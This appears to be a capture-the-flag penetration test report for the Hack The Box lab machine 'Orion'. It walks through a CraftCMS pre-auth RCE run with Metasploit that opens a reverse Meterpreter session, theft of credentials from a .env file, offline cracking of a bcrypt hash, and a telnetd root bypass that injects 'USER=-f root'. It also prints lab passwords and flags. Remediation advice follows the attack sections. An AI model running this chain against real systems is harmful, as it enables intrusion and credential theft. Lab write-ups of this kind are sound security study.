

PENETRATION TEST REPORT

Hack The Box // Orion

Date	28 June 2026
Target	10.129.41.42 (orion.htb)
Tester	4ss3m
Classification	CONFIDENTIAL
Status	Completed — Machine Pwned (#836)
Points Earned	450 XP

1. Executive Summary

A penetration test was conducted against the Hack The Box machine Orion (10.129.41.42) on 28 June 2026. The assessment identified a three-stage attack chain that resulted in full root-level compromise. The target hosted a corporate website running CraftCMS, a content management system used to build and manage web pages. The CMS version was exposed publicly and found to contain a critical, no-login-required remote code execution flaw. This flaw was exploited to gain a foothold on the server, after which a configuration file containing database credentials was discovered. The database held a weak, crackable password reused for SSH access. Finally, a vulnerable local network service (telnet) was abused to bypass authentication entirely and obtain root access.

Finding	Severity	Status
Exposed CMS Version & Pre-Auth RCE (CVE-2025-32432)	CRITICAL	Confirmed
Database Credentials in Plaintext Config File	HIGH	Confirmed
Weak / Reused Password — SSH Access	HIGH	Confirmed
CVE-2026-24061 — Telnetd Authentication Bypass	CRITICAL	Confirmed

2. Scope & Methodology

Target IP	10.129.41.42
Hostname	orion.htb
OS	Ubuntu Linux 22.04 LTS (kernel 5.15.0-177-generic)
Services	SSH/22 (TCP), HTTP/80 (TCP), MySQL/3306 (local only), Telnet/23 (local only)
Test Type	Black-box penetration test

VPN		tun0 — 10.10.14.33
01	Reconnaissance	Nmap port scan; content discovery with ffuf; CMS fingerprinting
02	Vulnerability ID	CraftCMS version disclosure on login page; CVE lookup
03	Initial Access	Pre-authenticated RCE via CVE-2025-32432; Metasploit exploitation
04	Credential Theft	Environment file disclosure; MySQL database access
05	Lateral Movement	Offline hash cracking with hashcat; SSH login as user adam
06	Privilege Esc.	CVE-2026-24061 exploitation via telnetd USER variable injection → root

3. Reconnaissance

3.1 Port Scan

An Nmap scan against the target revealed two open ports: SSH (22) for remote administration and HTTP (80) running nginx. The web server did not respond directly to the bare IP address and instead redirected requests to the hostname orion.htb, indicating the site relies on virtual host routing.

```
nmap -sCV orion.htb

PORT STATE SERVICE VERSION
22/tcp open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.15
80/tcp open  http     nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://orion.htb/
```

The hostname was mapped locally to allow proper browser resolution:

```
echo "10.129.41.42 orion.htb" | sudo tee -a /etc/hosts
```

3.2 Content Discovery & CMS Fingerprinting

Visiting the site revealed a corporate telecom company landing page. The page footer disclosed that the site was “Powered by CraftCMS.” A directory brute-force scan with ffuf was used to enumerate hidden paths, confirming an admin panel at /admin that redirected to /admin/login.

```
ffuf -u http://orion.htb/FUZZ \
-w DirBuster-2007_directory-list-2.3-medium.txt -ic -fc 404

admin [Status: 302] -> redirects to /admin/login
assets [Status: 301]
```

The CraftCMS login page disclosed its exact software version directly in the page footer: **Craft CMS 5.6.16**. This version is publicly known to be affected by an unauthenticated remote code execution vulnerability, CVE-2025-32432.

4. Initial Access

4.1 Understanding the CSRF Token Issue

CraftCMS protects state-changing requests with a CSRF (Cross-Site Request Forgery) token, intended to stop outside websites from firing requests using a logged-in victim's session. However, the application issues a fully valid session

and CSRF token to **any visitor** who loads the /admin/login page — no account or password is required. This meant the CSRF protection could be satisfied simply by visiting the login page first and reusing the issued cookies and token, without ever authenticating.

```
curl -i http://orion.htb/admin/login

Set-Cookie: CraftSessionId=...
Set-Cookie: CRAFT_CSRF_TOKEN=...
... "csrfTokenValue":"qTXycEKHbLI9y67Tp12AEFIB_..." ...
```

4.2 CVE-2025-32432 — CraftCMS Pre-Auth RCE

The vulnerable endpoint, *actions/assets/generate-transform*, normally resizes images for the CMS. Internally, CraftCMS passes attacker-supplied JSON to the underlying Yii framework's object configuration system, which builds PHP objects from a "class" key in the JSON. Because the class name is not restricted, an attacker can instruct Yii to build an unrelated class (such as Guzzle's *FnStream*) that executes an arbitrary PHP function when triggered — resulting in code execution before any login is required. This was exploited using the public Metasploit module for the CVE.

```
msfconsole -q
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set rhosts 10.129.41.42
set rport 80
set vhost orion.htb
set lhost 10.10.14.33
exploit

[+] Leaked session.save_path: /var/lib/php/sessions
[+] The target is vulnerable. Session path leaked
[*] Meterpreter session 1 opened (10.10.14.33:4444 -> 10.129.41.42:52480)
```

Shell access was obtained as the low-privileged web service account `www-data`.

5. Credential Theft & Lateral Movement

5.1 Environment File Disclosure

Once inside the web root, the CraftCMS application configuration file (`.env`) was readable by the web service account. This file is meant to stay outside any public directory but had not been removed from the deployed application folder, and it contained the live MySQL database credentials in plaintext.

```
cd ~/html/craft
cat .env

CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_DATABASE=orion
CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!
```

5.2 Database Access & Hash Extraction

Using the recovered credentials, the local MySQL database was accessed directly. The CraftCMS users table stored the admin account's password as a bcrypt hash, associated with the email `adam@orion.htb`.

```
mysql -u root -p orion
SELECT * FROM users;

admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcN9Mz.5PJbjxob00GMbXo8NHp3P/B42LUg0lS
```

5.3 Offline Hash Cracking

The bcrypt hash was cracked offline using hashcat against the rockyou wordlist, recovering the plaintext password. This password was found to be reused for the operating system's SSH login for user adam, providing direct shell access to the host.

```
hashcat -m 3200 hash.txt rockyou.txt

$2y$13$e9zuohgFZzGtbQalc9Mz.5PJbjxob00GmbXo8NHp3P/B42LUg01S:darkangel

ssh adam@orion.htb # password: darkangel
adam@orion:~$ cat user.txt
0356a21463c1ba6447009c7ad64f86f9
```

6. Privilege Escalation

6.1 Local Service Enumeration

From the adam account, a check of locally listening network services revealed a telnet daemon bound only to localhost (127.0.0.1:23) and not exposed to the outside network. The installed version, GNU inetutils telnetd 2.7, was identified as vulnerable to CVE-2026-24061.

```
netstat -tulnp
tcp 127.0.0.1:23 LISTEN<- internal-only telnet

telnet --version
telnet (GNU inetutils) 2.7
```

6.2 CVE-2026-24061 — Telnetd Authentication Bypass

This vulnerable telnetd build passes the client-supplied USER environment variable directly into the system login(1) program without sanitization. The login program supports a -f flag that skips password verification entirely for trusted callers. By setting USER to "-f root" before connecting, the value is interpreted as a command-line flag rather than a username, tricking login(1) into executing *login -f root* and granting an authenticated root session with zero credentials supplied.

```
USER="-f root" telnet -a 127.0.0.1

Connected to 127.0.0.1.
root@orion:~# cat root.txt
75cb8d86b8d44a33545ba05e6f91d371
```

7. Vulnerability Findings

Finding 1 — Exposed CMS Version & Pre-Auth RCE**CRITICAL****Location:** HTTP/80 — /admin/login, /actions/assets/generate-transform

Description: The CraftCMS version number was disclosed directly on the public login page. This version (5.6.16) is affected by CVE-2025-32432, allowing unauthenticated attackers to achieve remote code execution by abusing the application's object-instantiation logic via a crafted JSON payload sent to the image transform endpoint.

Impact: Full unauthenticated remote code execution on the underlying server, leading to complete compromise of the web application and host.

Remediation: Upgrade CraftCMS to a patched version immediately. Remove version banners from public-facing pages. Apply a WAF rule to block unexpected JSON object-configuration payloads to admin action endpoints.

Finding 2 — Database Credentials in Plaintext Config File**HIGH****Location:** /var/www/html/craft/.env

Description: The application's .env configuration file, containing live database credentials, was present and readable inside the deployed web application directory rather than being stored outside the webroot or in a secrets manager.

Impact: Any code execution or local file read on the server immediately yields full database access.

Remediation: Store secrets outside the web-accessible directory or in a dedicated secrets manager. Restrict file permissions on .env to the application's own service account only.

Finding 3 — Weak / Reused Password — SSH Access**HIGH****Location:** SSH/22 — user: adam

Description: The CraftCMS admin account password was weak enough to be cracked offline in seconds using a common wordlist, and the same password was reused for the user's operating system SSH login.

Impact: Compromise of one low-value credential (a CMS admin password) directly escalated to full SSH access on the underlying host.

Remediation: Enforce strong, unique passwords per system. Never reuse application-level credentials for OS-level accounts. Consider SSH key-based authentication only.

Finding 4 — CVE-2026-24061 — Telnetd Authentication Bypass**CRITICAL****Location:** 127.0.0.1:23 — GNU inetutils telnetd 2.7

Description: The locally running telnet daemon passes the client-controlled USER environment variable unsanitized into the system login(1) binary. Supplying "-f root" as the USER value is interpreted by login(1) as a command flag that skips authentication, granting an authenticated root session without any credentials.

Impact: Any local, unprivileged user can escalate directly to root with a single command and no password.

Remediation: Upgrade telnetd to a patched version or remove it entirely in favor of SSH for any local administrative access. Never pass unsanitized user-controlled environment variables to privileged system binaries.

8. Recommendations

1	CRITICAL	Patch CraftCMS to a version unaffected by CVE-2025-32432; remove public version banners
---	-----------------	---

2	CRITICAL	Patch or remove vulnerable telnetd; disable telnet in favor of SSH for local admin access
3	HIGH	Move .env / secret files outside the webroot; restrict file permissions
4	HIGH	Eliminate credential reuse between application accounts and OS accounts
5	MEDIUM	Enforce strong password policy with regular rotation and breach-list checking
6	MEDIUM	Restrict local services to least-privilege network bindings and review periodically

9. Conclusion

The Orion machine illustrated a realistic, modern web compromise chain: a publicly known CMS vulnerability led to initial code execution, a leftover configuration file leaked database credentials, weak password hygiene allowed lateral movement to a real user account, and an outdated local network service provided an effortless path to root. The critical path was: CSRF token harvesting → CVE-2025-32432 RCE → .env credential leak → password crack → SSH → CVE-2026-24061 telnetd bypass → root. Patching any single link, particularly the exposed CMS version or the vulnerable telnetd, would have broken the entire chain.